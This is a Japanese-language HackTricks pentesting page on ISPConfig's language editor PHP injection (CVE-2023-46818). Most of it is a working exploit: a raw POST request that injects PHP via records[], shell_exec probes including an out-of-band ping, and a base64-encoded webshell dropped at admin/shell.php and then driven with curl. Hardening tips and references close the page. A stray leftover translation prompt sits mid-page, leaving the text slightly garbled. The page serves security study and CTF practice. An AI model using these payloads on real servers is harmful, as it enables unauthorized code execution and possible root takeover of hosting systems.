ISPConfig
Reading time: 7 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
概要
ISPConfig はオープンソースのホスティングコントロールパネルです。古い 3.2.x ビルドには言語ファイルエディタ機能があり、これがスーパー管理者に対して有効になっていると、不正に構成された翻訳レコードを介して任意の PHP コード注入が可能でした。これは web サーバーコンテキストでの RCE を引き起こす可能性があり、PHP の実行方法によっては権限昇格につながることがあります。
主要なデフォルトパス:
- Web ルートは
php -S
で提供されている場合や Apache/nginx 経由の場合、しばしば/var/www/ispconfig
にあります。 - 管理 UI は HTTP(S) vhost 上で到達可能です(場合によっては localhost のみにバインドされていることがあります;必要なら SSH ポートフォワードを使用してください)。
ヒント: パネルがローカルにバインドされている場合(例: 127.0.0.1:8080
)、転送してください:
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
言語エディタ PHP code injection (CVE-2023-46818)
- Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
- Preconditions:
- 組み込みの superadmin アカウント
admin
でログインする(ベンダーによれば他のロールは影響を受けない) - 言語エディタを有効にする必要がある:
admin_allow_langedit=yes
in/usr/local/ispconfig/security/security_settings.ini
- Impact: 認証済みの admin は任意の PHP を注入でき、それが言語ファイルに書き込まれてアプリケーションによって実行され、web コンテキストで RCE を達成する
References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
手動でのエクスプロイト手順
- 言語ファイルを開く/作成して CSRF トークンを取得する
最初の POST を送信してフォームを初期化し、HTML レスポンスから CSRF フィールド(csrf_id
, csrf_key
)を解析する。例: /admin/language_edit.php
.
- Inject PHP via records[] and save
CSRF フィールドと悪意ある翻訳レコードを含む 2 回目の POST を送信する。最小限のコマンド実行プローブ:
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
アウトオブバンドテスト(ICMPの観測):
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
- ファイルを書き込み、webshellを配置する
file_put_contents
を使って、ウェブから到達可能なパス(例: admin/
)にファイルを作成する:
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
次に、POSTボディ内の不正な文字を回避するためにbase64を使用したシンプルなwebshellを書きます:
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
src/network-services-pentesting/pentesting-web/ispconfig.md の内容を貼ってください。翻訳して返します。
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
PHPがrootとして実行されている場合(例: rootによって起動された php -S 127.0.0.1:8080
のように)、直ちにroot RCEが得られます。そうでない場合は、webサーバーのユーザー権限でコード実行が可能になります。
Python PoC
そのまま使えるexploitはtokenの処理とpayloadの配信を自動化します:
実行例:
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
ハードニング
- 3.2.11p1以降にアップグレードする
- 言語エディタは厳密に必要でない限り無効にする:
admin_allow_langedit=no
- パネルをrootで実行しない; PHP-FPMまたはwebサーバーを設定して特権を落とす
- 組み込みの
admin
アカウントに対して強力な認証を要求する
参考
- ISPConfig 3.2.11p1 Released (fixes language editor code injection)
- CVE-2023-46818 – NVD
- bipbopbup/CVE-2023-46818-python-exploit
- HTB Nocturnal: Root via ISPConfig language editor RCE
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。